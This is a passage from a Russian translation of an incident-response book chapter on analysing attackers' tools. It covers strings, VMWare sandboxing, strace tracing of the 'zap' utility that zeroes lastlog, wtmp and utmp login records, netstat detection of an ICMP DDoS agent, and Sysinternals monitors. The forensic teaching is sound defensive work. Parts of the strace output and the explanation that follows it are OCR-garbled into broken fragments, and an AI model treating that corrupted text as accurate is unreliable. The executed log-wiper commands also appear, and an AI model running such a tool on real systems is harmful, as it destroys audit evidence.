ров тем же, чем для плотника молоток и гвозди. Когда отказывает любой
другой анализ, остается последняя надежда --- шестнадцатеричный редактор.
Однако при выполнении статического анализа утилит, шестнадцатеричный
редактор только немного лучше команды strings. Он позволяет видеть в одно
время в файле строки UNICODE и ASCII.

Исследование инструментов хакера
417
---
Все, что программа не создает динамически или не получает из другого ис-
точника, типа взаимодействия в командной строке, можно найти в объектном
коде. При просмотре строк в объектном коде ищите следующие элементы:
Имя файлов исходного кода до компиляции приложения
Компилятор, использованный для создания файла
Строки "help" в утилите
Сообщения об ошибках, которые выводит программа
Значения статических переменных
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Версия strings для Windows: http://www.sysinternals.com
Что может произойти
Получив зловредный исполняемый файл из скомпрометированной системы
Linux, вы решили проверить строки, чтобы выяснить некоторую информа-
цию о функциях файла. Предположительно он является известной утилитой
zap для стирания журналов, так как файл называется zap.
Где искать доказательства
Вы решили проанализировать утилиту в системе Windows, чтобы избежать
случайного выполнения программы. Выполняете команду exetype, чтобы
подтвердить, что она не будет правильно выполняться на вашей судебной
рабочей станции Windows (см. рис. 16.4).
Проверка вывода strings подтверждает подозрение, что утилита скорее
всего является утилитой zap. Вывод strings, показанный на рис. 16.5, содер-
жит некоторые относящиеся к делу строки. Они, вероятно, являются пере-
менными или функциями с именами kill_utmp, kill_wtmp и kill_lastlog.
Рис. 16.4. Использование exetype на исполняемом файле, предназначенном
не для Windows
Команда strings извлекает имя файла исходного кода, использованного
перед компиляцией, и версию компилятора, применяемого для создания
зловредного файла. На рис. 16.6 показан компилятор, использованный для
создания зловредного файла, Эта информация полезна при возможности
найти исходный код, который, как вы считаете, аналогичен рассматривае
мому двоичному файлу.

418
Глава 16
Рис. 16.5. Использование strings для просмотра имен функций и переменных
в исполняемом файле
Рис. 16.6. Применение strings для определения использованного компилятора
Выполнение исследования в сети
Иногда кажется, что анализ утилит будет не более чем поиском в Web утили-
ты с таким же именем, как и у зловредного файла. Это, конечно, не является
исчерпывающим способом выполнения анализа утилит. Полезно знание того,
что были другие атаки, использующие те же самые утилиты, которые вы обна-
ружили. Можно выполнить команду strings на зловредных исполняемых фай-
лах, чтобы определить компилятор, который применялся для создания испол-
няемого файла.
Если вы найдете в сети утилиту, которая, как кажется, имеет аналогич-
ные функции, то можно скомпилировать бесплатно доступный исходный
код с помощью компилятора, идентичного тому, который использовал ата-
кующий, а затем проверить размер полученного файла. Очень небольшое
различие в размере может говорить о сходстве утилит. Если утилиты име-
ют одинаковый размер, то значит, вы нашли исходный код утилиты хакера.

Исследование инструментов хакера
419
НАГЛЯДНЫЙ ПРИМЕР
При выполнении реагирования на инцидент для глобального клиента
было обнаружено, что атакующий установил инструментальный набор,
содержащий 15 утилит. К сожалению, одна из основных утилит, исполь-
зованных атакующим, была удалена из системы, и мы не смогли ее вос-
становить с помощью стандартных утилит отмены удаления. Мы выпол-
нили поиск в сети и обнаружили, что были и другие жертвы с такими же
утилитами, установленными в их системах. Один из поврежденных сай-
тов даже опубликовал утилиты, которые, как считали исследователи, ис-
пользовались на их скомпрометированных системах. Этот набор утилит
имел файл, требующийся нам для полной реконструкции атаки. Контроль-
ная сумма MD5 утилит, полученная в сети, соответствовала контрольной
сумме утилит, восстановленных в системе клиента. Мы получили дополни-
тельное представление из анализа атаки другой жертвы и смогли предоста-
вить правоохранительным органам список жертв, чтобы доказать, насколь-
ко широко распространилась новая атака.
Выполнение анализа исходного кода
При наличии исходного кода, доступного для анализа, можно точно опре-
делить, что делает зловредная программа. Поэтому получение исходного
кода является, вероятно, лучшим способом выполнения исчерпывающего
статического анализа программы. Существуют два случая, когда можно будет
выполнить анализ исходного кода:
Атакующий оставил исходный код в системе.
Идентичная программа была получена из другого источника (возможно,
в сети) с соответствующим исходным кодом.
Выполнение анализа исходного кода требует хорошего знания языка про-
граммирования, который использовался для создания утилиты. Большинст-
во популярных программ незаконного использования и утилит написаны на
ANSI С и Microsoft Visual Basic, поэтому потребуется знакомство с этими
форматами.
ДИНАМИЧЕСКИЙ АНАЛИЗ УТИЛИТ ХАКЕРОВ
Динамический анализ утилиты производится, когда вы выполняете зловред-
ный код и интерпретируете его взаимодействие с операционной системой.
Это может быть опасно, так как любые нежелательные последствия, вызван-
ные зловредным кодом, могут быть на судебной рабочей станции Однако
это часто является наиболее содержательной формой анализа утилиты.
Наша методология включает следующие задачи:
Контроль за отметками времени/даты, чтобы определить, на какие
файлы действует утилита.
Выполнение программы для перехвата ее систеиных вызовов.

420
Глава 16
Выполнение сетевого мониторинга для определения, не создается ли
какой либо сетевой трафик.
Контроль за тем, как исполняемые файлы на основе Windows взаимо-
действуют с реестром.
Создание рабочей среды "песочницы"
При выполнении динамического анализа утилит вы в действительности вы-
полняете зловредный файл, чтобы определить его воздействие на систему.
Поэтому необходимо затратить некоторое время на настройку подходящей
рабочей среды тестирования.
Во первых, проверьте, что вы имеете операционную систему и архитекту-
ру, необходимые для правильного выполнения объектного кода. Установите
также на своей тестовой системе VMWare. VMWare позволяет выполнять
утилиты в контролируемой среде, которая не повредит судебную рабочую
станцию, где выполняется зловредный код. Свойство VMWare, называемое
"несохраняемые записи" (nonpersistent writes), позволяет исследователю вы-
полнять зловредный код в среде, где враждебные последствия зловредного
кода не будут сохраняться на диске. Чтобы инициировать это свойство, от-
кройте редактор конфигурации VMWare и выберите Nonpersistent для пара-
метра Mode (см. рис. 16.7). Этот режим позволяет выполнять зловредный
код на "свежей" установке операционной системы.
Рис. 16.7. Настройка конфигурации VMWare на режим несохранения

Исследование инструментов хакера
421
НАГЛЯДНЫЙ ПРИМЕР
Мы испугались, когда выполняли анализ программы, обнаруженной на
военном сайте. Файл был помещен в систему международным атакую-
щим. Мы не хотели предупредить этого атакующего, что прослушиваем
его соединения и извлекаем и анализируем его утилиты. Как оказалось,
его утилиты были в основном самодельными и их функции были доста-
точно сложными. Мы получили одну утилиту, которая удерживала наше
внимание до утренних часов субботы. Мы выполнили динамический ана-
лиз утилиты и решили впервые выполнить утилиту. Как только мы запус-
тили утилиту, то заметили, что в сети был создан пакет, который поя-
вился в нашем сетевом мониторе. Я помчался к линии Т 1, чтобы
выдернуть кабель и прервать соединение с Интернетом. К счастью, мы
это сделали. Программное обеспечение порождало сигнальный пакет,
который мог бы сигнализировать атакующему, что была выполнена его
утилита. Он мог бы по крайней мере получить наш IP адрес.
Убедитесь, что тестовая система не соединена с Интернетом. Нежелатель-
но устанавливать или выполнять зловредный код при соединении с Интер-
нетом (или любой сетью). Некоторые незаконные программы приложений
посылают "сигнальные пакеты" или звонят домой. Тем самым вы можете
предупредить атакующих, что нашли и выполнили их утилиты атаки.
Если вы подозреваете, что зловредный код может создавать или реаги-
ровать на сетевой трафик, то лучше выполнять его в замкнутой сети. Конт-
ролируйте замкнутый сегмент с помощью анализатора трафика, выполняе-
мого на отдельной системе в замкнутой сети. Замкнутая сеть означает, что
в ней не находится ни одна система, которую вы обслуживаете.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
VMWare: http://www.vmware.com
Динамический анализ в системе UNIX
Большинство приложений выполняется в области памяти, определяемой
как пространство пользователя (user space). Приложениям в пространстве
пользователя обычно запрещается доступ к компьютерному оборудовании)
и ресурсам напрямую. Эти ресурсы контролируются ядром с целью обеспе-
чения безопасности, сохранения неодновременного использования и обес-
печения стабильности операционной системы. Приложение пользователя
обращается к этим ресурсам, запрашивают ядро, чтобы выполнить опера
ции от его имени. Приложение пользователя делает эти запросы к ядру че
рез системные вызовы.

422
Глава 16
Использование strace
UNIX имеет утилиту, трассирующую использование системных вызовов вы-
полняемого процесса. Эта утилита, называемая strace (system trace), является
по сути подслушивающим устройством между программой и операционной
системой. Утилита strace выводит информацию о доступе к файлам, доступе
к сети и о многих других системных вызовах, которые делает файл во время
выполнения.
ОСТОРОЖНО Помните, что при использовании strace вы выполняете зловредный
код. Поэтому важно использовать автономную рабочую станцию (не
имеющую внешнего сетевого соединения), которую вы не собирае-
тесь изменить (или даже довести до разрушения).
Ниже следует пример выполнения команды strace:
[root@conan zap]strace  о strace.out ./zap
Эта командная строка сохраняет взаимодействие между программой zap
и операционной системой в файле с именем strace.out. Помните, что про-
грамма zap будет работать, выполняя свои зловредные операции.
Далее следует обзор файла strace.out. По соображениям целесообразно-
сти вы можете игнорировать все строки до 19 вызова getpid. Все строки,
предшествующие системному вызову getpid, являются стандартными с целью
задания рабочей среды для выполнения процесса. Номера строк были до-
бавлены авторами, чтобы облегчить анализ:
[rooWconan zap]cat strace.out
1) execve("./zapdynamic", ["./zapdynamic"], [/* 30 vars */]) = 0
2) brk(0)
= 0x8049b34
3) mmap(NULL, 4096, PR0T_READ|PR0T_WRITE, MAP_PRIVATE|J»IAP_ANONYMOUS,
 1, 0) = 0x40013000
4) openCVetc/ld.so.preload", 0_RD0NLY) =  1 EN0ENT (No such file
or directory)
5) open("/etc/ld/so.cache", 0_RD0NLY) = 4
6) fstat(4, {st_mode=S_IFREG|0644, st_size=23313, ...})=0
7) mmap(NULL, 23313, PR0T_READ, MAP^PRIVATE, 4, 0) = 0x40014000
8) close(4)
=0
9) open("/lib/libc.so.6", 0_RD0NLY)
=4
10) fstat(4, {st_mode=S_IFREG|0755, st_size=5195054, ...})=0
11) read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\270\212" ,
4096) = 4096
12) mmap(NULL, 939868, PR0T_READ|PR0T_EXEC, MAP_PRIVATE, 4, 0) =
0x4001a000
13) mprotect(0x400f8000, 30556, PR0T_N0NE) = 0
14) mmap(0x400f8000, 16384, PR0T_READ|PR0T_WRITE, MAP_PRIVATE|MAP_FIXED,
4, OxddOOO) = 0x400f8000
15) mmap(0x400fc000, 14172, PR0T_READ|PR0T_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_AN0NYM0US,  1, 0) = 0x400fc000
16) close(4)
=0
17) munmap(0x40014000, 23313)
=0

Исследование инструментов хакера
423
18) personality(PER_LINUX)
=О
19) getpidO
= 616
20) fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(4, 1), ...})= О
21) mmap(NULL, 4096, PR0T_READ|PR0T_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
 1, 0) = 0x40014000
22) ioctl(1, TCGETS, {B38400 opost isig icanon echo ... }) = 0
23) write(1, "Error.\n", 7)
=7
24) munmap(0x40014000, 4096)
=0
25) _exit(7)
=?
Проще можно сказать, что строка 23 является основным ключом к тому,
что происходит при выполнении команды ./zapdynamic. Сообщение об
ошибке из семи символов "Error.\n" (\n означает переход к новой строке)
выводится в файл с дескриптором 1. Файл с дескриптором 1 используется в
качестве стандартного вывода, который обычно является терминалом или
консолью, которую видит пользователь. Таким образом слово Error выведе-
но на экране. Правильное заключение будет состоять в том, что мы не зада-
ли правильные аргументы командной строки, чтобы команда zap выполни-
лась правильно.
ВНИМАНИЕ Как объяснялось в главе 11, дескрипторы файлов являются неотри-
цательными целыми числами, которые операционная система
(ядро) использует для ссылок на файлы, к которым обращается
процесс. Дескрипторы файлов 0, 1, и 2 являются предопределенны-
ми дескрипторами файлов для стандартного ввода, стандартного
вывода, и стандартной ошибки соответственно. Когда ядро откры-
вает, считывает, записывает или создает файл или сетевое соеди-
нение, оно возвращает дескриптор файла (целое число), который
используется для ссылки на файл или сетевое соединение.
Проверка вывода strace Так как zap стирает определенные записи пользо-
вателей из файлов utmp, wtmp и lastlog, то логично предположить, что
командная строка содержит имя определенного пользователя. Поэтому мож-
но выполнить программу strace снова с правильной командной строкой.
Проверим вывод и посмотрим, как он может использоваться для анализа
программы zap.
[root@conan zap]strace  о strace.out ./zapdynamic root
[root@conan zap] cat strace.out
1) execve("./zapdynamic", ["./zapdynamic", "root"], [/* 30 vars */]) =0
Вызов execve в строке 1 показывает аргументы командной строки.
2) brk(0)
= 0х8049Ь34
3) mmap(NULL, 4096, PR0T_READ|PR0T_WRlTE, MAP_PRIVATE|MAP_AN0NYM0US,
 1, 0) = 0x40013000
4) open("/etc/Id.so.preload", 0_RD0NLY)
=  1 EN0ENT (No such file
or directory)
5) open("/etc/Id.so.cache", 0_RD0NLY)
=4
6) fstat(4, {st_mode=S_IFRF.G|0644, st_size=23313, ...})= 0
7) mmap(NUIl., 23313, I'HOI III AD, MAI' I'HIVAII, A. 0) 0*4001400(1

424
Глава 16
8) close(4)
=О
9) openCyiib/libc.so.6", o_RDONLY)
=4
10) fstat(4, {st_mode=S_IFREG|0755, st_size=5195054, ...}) =0
11) read(4,
"\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\270\212"...
, 4096) = 4096
12) mmap(NULl, 939868, PR0T_READ|PR0T_EXEC, MAP_PRIVATE, 4, O) =
0x4001aOOO
13) mprotect(0x400f8000, 30556, PR0T_N0NE) = 0
14) mmap(0x400f8000, 16384, PR0T_READ|PR0T_WRITE,
MAP_PRIVATE|MAP_FIXED,
4, OxddOOO) = 0x400f8000
15) mmap(0x400fc000, 14172, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,  1, 0) = Ox400fcOOO
16) close(4)
=0
17) munmap(0x40014000, 23313)
=0
18) personality(PER_LINUX)
=0
Строки с 1 no 18 являются системными вызовами, сделанными операци-
онной системой для настройки рабочей среды, необходимой для выполне-
ния процесса. Эти вызовы работают следующим образом:
Системные вызовы brk используются с целью распределения памяти
для процесса.
Вызовы mmap отображают часть файла в память. Это обычно делает-
ся при загрузке библиотек времени выполнения, когда процесс осуще-
ствляется первоначально.
Вызов fstat получает информацию о файле, на который ссылается де-
скриптор файла, fstat может вернуть отметки времени/даты для фай-
ла, владельца файла, размер файла, число жестких ссылок и много
информации, необходимой программе для доступа к файлу.
Системные вызовы close используются для освобождения дескриптора
файла, когда процессу больше не нужен файл или соединение. Напри
мер, в строке 16 закрывается дескриптор файла 4. Это освобождает
дескриптор 4, позволяя присвоить его заново во время следующего
системного вызова, которому требуется манипулятор файла (тако
как open или mmap).
Все, что выше строки 19 системного вызова getpid, является по сут
стандартным для всех динамически связанных исполнимых файлов ELF
(Executable Linked Format). Исполняемые файлы ELF являются наиболее
общим типом исполняемых файлов для Linux и других разновидностей
UNIX.
19) getpidO
618
0 k(0)
0x804 b34
1) 0x 049f4c)
= 0 049f4c
2 brk(0x804a000)
0x804a000
23) socket(PF_UNIX, S0CK_STREAM,0)
=4

Исследование инструментов хакера
425
Операции, специфические для программы zap, начинаются после сис-
темного вызова getpid в строке 19. Каждый выполняющийся процесс полу-
чает уникальный идентификатор (ID) процесса из вызова getpid. Отметим,
что выполняющийся процесс получил ID процесса 618. В строке 23 откры-
то соединение UNDC для пересылки информации между процессами. Не пу-
тайте его с сетевым соединением. Соединения UNDC открываются, когда
процесс хочет выполнить обмен информацией с другим выполняющимся
процессом.
24) connect(4, {sin_family=AF_UNIX, path="
/var/run/.nscd_soxket"}, 110) =  1 ECONNREFUSED (Connection refused)
25) close(4)
=0
26) brk(0x804b000)
= 0x804b000
27) open(7etc/nsswitch.conf", 0_RD0NLY) = 4
28) fstat(4 {st_mode=S_IFREG|0644, st_size=1744, ...}) =0
29) mmap(NULL, 4096, PR0T_READ|PR0T_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
 1, 0) = 0x40014000
30) read(4, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1744
31) read(4, "", 4096)
=0
32) close(4)
=0
33) munmap(0x40014000, 4096)
=0
34) open("/etc/Id.so.cache", 0_RD0NLY)
=4
35) fstat(4, {st_mode=S_IFREG|0644, st_size=23313, ...})= 0
36) mmap(NULL, 23313, PR0T_READ, MAP_PRIVATE, 4, 0) = 0x40014000
37) close(4)
=0
38) open("/lib/libnss_files.so.2", 0_R00NLY) = 4
39) fstat(4, {st_mode=S_IFREG|0755, st_size=292788, ...})= 0
40) read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260\36"...,
4096) = 4096
41) mmap(NULL, 37640, PR0T_READ|PR0T_EXEC, MAP_PRIVATE, 4, 0) = 0x40100000
42) mprotect (0x40108000, 4872, PR0T_N0NE) = 0
43) nmap(0x40108000, 8192, PR0T_READ|PR0T_WRITE, MAP_PRIVATE|MAP_FIXED,
4, 0x7000) = 0x40108000
44) close(4)
=0
45) munmap(0x40014000, 23313)
=0
46) open("/etc/passwd", 0_RD0NLY)
=4
пог мма y i трвает ай/tcaswdка
ля чтения, что указано аргументом OJRDONLY
47) fcntl(4, F_GETFD)
=0
48) fcntl(4, F_SETFD, FD_CL0EXEC) = 0
49) fstat(4, {stjnodo ' IIHI(;|0G44, st_size=1028, ...}) = 0
50) mmap(NULL, 4096. PR0I III ADjI'llOI WHIM. MAI1 I'HIVAII |MAI' ANONYMOllli,
Процесс ищет информацию аутентификации или хоста в строках с 27
по 30. В строке 27 файл /etc/nsswitch.conf успешно открыт. Обычно чте-
ние файла nsswitch.conf предполагает, что программа будет также читать
файл /etc/passwd.
В строке 46 программа zapdynamic открывает файл /etc/passwd как
файл с дескриптором 4. Отметим, что файл /etc/passwd был открыт толь-
ко для чтения, что указано аргументом O_RDONLY.

426
Глава 16
 1, 0) = 0x40014000
51) read(4, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1028
52) close(4)
=0
В строке 51 программа zapdynamic считывает запись для администратора
в файле с дескриптором 4, который является файлом /etc/passwd. Затем
он закрывает файл с дескриптором 4 в строке 52.
53) munmap(0x40014000, 4096)
=0
54) open("/var/log/lastlog", 0_RDWR)
=4
В строке 54 программа zapdynamic открывает файл /var/log/lastlog как
файл с дескриптором 4. Отметим, что он открывает /var/log/lastlog для
чтения и записи, как указано аргументом 0_RDWR.
55) lseek(4, 0, SEEK_SET)
=0
56) write(4,
"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
292) = 292
57) close(4)
=0
В строке 56 программа zapdynamic записывает \0 или очищает 292 бай-
та в файле с дескриптором 4, который является файлом /var/log/lastlog.
Именно здесь программа делает свою грязную работу. В строке 57 процесс
закрывает файл с дескриптором 4 (файл /var/log/lastlog).
58) open(7var/log/wtmp", 0_RDWR)
=4
59) lseek(4,  384, SEEK_END)
= 159360
60) read(4,
"\7\0\0\0\273\1\0\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
384) = 384
61) lseek(4,  384, SEEK_END)
= 159360
62) write(4,
"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
384) = 384
63) close(4)
=0
пи и (OJRDWR) как файл с дескриптором 4. В строках с 9 п
64) open ("/var/run/utmp", o_RDWR) 1
=4
65) read(4,
"\Ю\0\0\0\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0". ..,
384) = 384
66) read(4,
"\2\0\0\0\0\0\0\0"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0". ..,
384) = 384
67) read(4,
"\1\0\0\0003N\0\0 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
384) = 384
В строке 54 программа zapdynamic открывает файл /var/log/lastlog как
файл с дескриптором 4. Отметим, что он открывает /var/log/lastlog для
чтения и записи, как указано аргументом O_RDWR.
В строке 56 программа zapdynamic записывает \0 или очищает 292 бай-
та в файле с дескриптором 4, который является файлом /var/log/lastlog.
Именно здесь программа делает свою грязную работу. В строке 57 процесс
закрывает файл с дескриптором 4 (файл /var/log/lastlog).
В строке 58 процесс zapdynamic открывает файл /var/log/wtmp для
чтения и записи (O_RDWR) как файл с дескриптором 4. В строках с 59 по
63 он считывает, записывает, а затем закрывает файл с дескриптором 4.

Исследование инструментов хакера
427
68) read(4,
"\10\0\0\0\203\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0". ..,
384) = 384
69) read(4,
"\10\0\0\0\272\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
384) = 384
70) read(4,
"\7\0\0\0\273\1\0\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
384) = 384
71) lseek(4,  384, SEEK_CUR)
= 1920
72) write(4,
"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0". ..,
384) = 384
73) read(4,
M\6\0\0\0\274\1\0\0tty2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
384) = 384
74) read(4,
"\6\0\0\0\275\1\0\0tty3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
384) = 384
75) read(4,
"\6\0\0\0\276\1\0\0tty4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0". ..,
34)3
76) ad( ,
'\6\0\0\0\277\1\0\0tty5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
,
34 384
7
ad( ,
"\6\0\0\0\300\1\0\0tty6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" .,
384) 384
78) read(4,
">, 384)
0
79) los (4)
0
В с р к 64 роцесс apdynamic открывае фай /var/run/utmp для
ч
изап с (0_RDWR)кафайлсдеср ором4Встрока с65
79 счиыае ,заи
ы ает
а мзарываетфайл сдесриптор м4
(/ ar/r n/utmp). От
е
им,
то
с роки с 73 по 78 показ вают, что zapdy
nami
чи а запи м о 384 байта Приложен е канирует файл, разы-
иаз
иси, имеющие отноше е к мени пользователя, о оро было
передано в о андной строке Ко да будет найдено с впадение, такое как в
стр ке 70, о а возвращае назад ввод на 384 бай а и затем перезаписывает
запи . Прил жение продо жает работать, пока не дойдет до конца файла.
_Exit(0)
=?
Сокращения с помощью strace При просмотре вывода strac им заинтер
сованы только в нескольких системных вызовах и редко будете интереcова
ться вызовами распределения памяти, такими как brk, mmap и munmap.
Рекомендуем искать в файле вывода strace системные вызовы open, и ad,
write, unlink, lstat, socket и close.
Сокращение состоял в использовании параметра  е trace file Эта коман
да покажет все системныt вызовы, которые взаимодействуют с именем

428
Глава 16
файла. Чтобы вывести все взаимодействия с сетевым устройством, исполь-
зуйте параметр  е trace=network. Доступно значительно больше комбинаций,
и они подробно перечислены в справке для strace.
Сосредоточиваясь на определенной операции, кажущейся подозритель-
ной, вы можете сохранить копию всех данных, которые пересылались с по-
мощью команды  е write. Вам необходимо обнаружить, какой процесс слу-
шает команды, чтобы можно было получить его, прекратить его на
системе жертве и затем проверить другие системы в поисках аналогичного
зловредного процесса.
Системный администратор вашей организации получает уведомление о
том, что одна из ваших систем под ОС Linux, похоже, подвергается распре-
деленной атаке отказа в обслуживании. Вам необходимо определить, какой
процесс занимается прослушиванием команд, завершить этот процесс на
системе жертве, а затем попытаться обнаружить похожие незаконные про-
цессы в аналогичных системах.
Где искать доказательства
Первый шаг состоит в определении, какие соединения открыты и какие
процессы отвечают за прослушивание каждого соединения. Команда Linux
netstat anp отображает процессы в открытые порты.
netstat  anp
Active Internet connections (servers and established)
Active UNIX domain sockets (servers and established)
Мы не включили вывод ниже строки "Active UNIX domain sockets", так
как он редко имеет отношение к исследованию.
В области, выделенной полужирным шрифтом, существует несколько
важных признаков, идентифицирующих незаконный процесс. Отметим,

Исследование инструментов хакера
429
что программа с именем xterm с ID процесса, равным 668, видимо получает
пакеты ICMP. Так как ICMP является обычным каналом, который незакон-
ные серверы DDoS используют в качестве инструмента коммуникации, то
все процессы, открывающие соединения ICMP без обработки (raw), дол-
жны быть подозрительными. Соединения без обработки, показанные
выше, содержат 0.0.0.0:1 или 0.0.0.0:6 в своей записи. Соединение без обра-
ботки с :6 является TCP соединением без обработки. Он почти всегда при-
сутствует в системах Linux на основе TCP/IP. Два процесса имеют 0.0.0.0:1
или открытые соединения ICMP (:1 означает соединение без обработки
протокола типа 1, который является ICMP). Эта система имеет два процес-
са, принимающих ICMP. Так как один из них представляет собой ядро, то
другой процесс становится подозрительным.
Следующий шаг состоит в выполнении статического и динамического
анализа программы. Вы сможете определить, что она делает. Следующая
командная строка выполняет системную трассировку программы с аргумен-
том  f, который гарантирует, что все процессы потомки также трассируют-
ся во время выполнения.
Просматривая соответствующие строки вывода strace, отметим в строке 1,
что этот процесс открывает соединение ICMP с дескриптором файла 4.
В строках со 2 по 4 родительский процесс 676 закрывает дескрипторы фай-
лов 0, 1 и 2 (для стандартного ввода, стандартного вывода и стандартной
ошибки). Это стандартное поведение процесса, который намерен стать де-
моном или автономным приложением, не связанным с терминалом. В стро-
ке 5 родительский процесс порождает процесс, просто считывающий файл
с дескриптором 4, соединение ICMP. Все пакеты ICMP, предназначенные
для системы, будут обрабатываться этой программой.
Выполнение анализа помимо strace
Strace не может делать все. При просмотре трассировки системы нельзя
определить, что делает процесс: когда он читает, записывает или получи i
какие то значения из системных вызовов. Например, strace не предоставляй
информацию, имеющую отношение к аргументам командной строки, необ
ходимойдля правильного выполнения процесса.
Когда strace не может предоставить информацию, необходимую для по
лучения достаточного понимания функции процесса, можно обратиться к

430
Глава 16
таким методам, как отладка и декомпиляция. Отладчик позволит последо-
вательно пройти через все действия, которые выполняет программа.
ВНИМАНИЕ Если требуется дополнительная информация об анализе програм-
мных файлов UNIX, найдите книгу Panic! UNIX System Crash Dump
Analysis Handbook, by Chris Drake, Kimberley Brown (Prentice Hall
PTR/Sun Microsystems Press, 1995). Эта книга, несмотря на то что
была написана для анализа файлов копии (дампа) памяти систем
Sun, будет полезна при рассмотрении областей памяти и форматов
файлов для исполняемых файлов UNIX.
Чтобы использовать методы декомпиляции и отладки, необходимо пони-
мать структуру программных файлов UNIX. Дополнительная информация о
двоичных структурах ELF и дизассемблировании доступна на Web сайте Li-
nux Assembly. Другим источником информации является Web сайт DrDobbs
(Tools Interface Standards and Manuals). Этот Web сайт предоставляет ин-
формацию о внутренней структуре файлов, используемых современными
объектными файлами. Теперь можно начинать разбирать на части подо-
зрительные утилиты в UNIX с помощью objdump, nm и gdb.
Рекомпиляция пакета GNU Binutils
Пакет binutils, который установлен на большинстве версий Linux, создан
для распознавания небольшого числа типов объектных файлов. Это означа-
ет, что утилиты в предварительно компилированном пакете binutils могут
создавать, просматривать, дизассемблировать и иным образом изменять не-
большое количество собственных исполняемых файлов Linux. Простая пе-
рекомпиляция пакета с помощью команды ./configure  enable targets=all по-
зволит вам выполнить эти же самые операции на более чем 100 типах
объектных файлов. Полный пакет binutils можно найти на FTP сайте GNU.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Информация о двоичной структуре и дизассемблировании ELF:
http://www.linuxassembly.org
DrDobbs Tools Interface Standards and Manuals:
http://x86.ddj.com/intel.doc/tools.htm
Полный пакет binutils: ftp.gnu.org
Днамический анализ в системе Windows
Динамический анализ приложения на основе Windows немного отличается
от анализа утилит на основе UNIX. Однако базовые концепции остаются
теми же. Вы выполняете зловредный код и используете утилиты для конт-
роля за тем, как зловредный процесс взаимодействует с файловой систе-
мой, реестром, интерфейсами прикладного программирования (API) и
операционной системой. Для динамического анализа приложений Win-
dows используется File Monitor, Registry Monitor, listdlls.exe, fporl и pslist.

Исследование инструментов хакера
431
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
File Monitor, Registry Monitor и pslist: http://www.sysinternals.com
fport: http://www.foundstone .com
Использование File Monitor
Утилита File Monitor (c Web сайта Sysinternals) обеспечивает перехват меж-
ду выполняющимися процессами и файловой системой. Она перехватыва-
ет весь доступ и запросы, которые делает процесс к файловой системе. Ког-
да вы выполняете зловредный код, вы сможете определить все файлы,
читаемые программой, в которые она записывает и к которым обращается,
чтобы выполнить неизвестную деятельность. На рис. 16.8 показан пример
использования File Monitor.
Рис. 16.8. Использование File Monitor
Использование Registry Monitor
Registry Monitor (также с Web сайта Sysinternals) перехватывает взаимодей-
ствие процесса с реестром Windows. Вам потребуется не слишком много
времени, чтобы понять, что некоторые программы запрашивают, перечис-
ляют и закрывают во время выполнения более 950 ключей реестра. Registry
Monitor позволяет ввести фильтры, чтобы анализировать определенные
записи. Другим хорошим свойством Registry Monitor является то, что эта
утилита предоставляет немедленный доступ к редактору реестра (reged.it).
Registry Monitor предоставляет простой интерфейс для контроля затем,
какие программы ЗАПИСЫВАЮТСЯ в реестр и какие программы запрашивают
сетевое оборудование, чтобы СОЗДАТЬ или получить СОТОВОЙ Трафик. Hа
рис. 16.9 показан пример использования Registry Monitor. Выделенные
строки в примере показывают, как зловредный процесс (сервер Netbus)

432
Глава 16
Рис. 16.9. Registry Monitor, показывающий признаки того, что в реестр
был вставлен черный ход
создает ключ, задает значение и закрывает ключ, чтобы гарантировать, что
зловредный процесс будет выполняться после перезагрузки системы.
Использование Listdlls
Утилита Listdlls, доступная в NT/2000 Resourse Kit, показывает все DLL,
которые необходимы процессу. Она перечисляет полные имена доступа ди-
намически скомпанованных библиотек (DLL), загруженных процессом.
Listdlls будет полезна для обнаружения приложений, которые были моди-
фицированы дополнительными функциями.
Заметьте, что многие программы, для которых нужно использовать
сеть, применяют Netapi.dll, MPR.dll и WsockS2.dll (Netapi и MPR предостав-
ляют поддержку NetBIOS, a Wsock32 --- поддержку TCP/IP). При просмотре
того, какие DLL использует программа, можно определить, взаимодейству-
ет ли приложение с сетевыми службами на уровне API или пытается их
обойти. Отметим, что программа должна выполняться, чтобы работала
утилита listdlls.
ВНИМАНИЕ Pslist не показывает параметры командной строки и имя с полным
путем доступа выполняемой программы, a listdlls предоставляет эту
информацию. Поэтому можно выполнять listdlls во время начального
реагирования, чтобы идентифицировать имя с полным путем доступа
выполняемой команды и аргументы, используемые процессом.

Исследование инструментов хакера
433
Использование Fport и Pslist
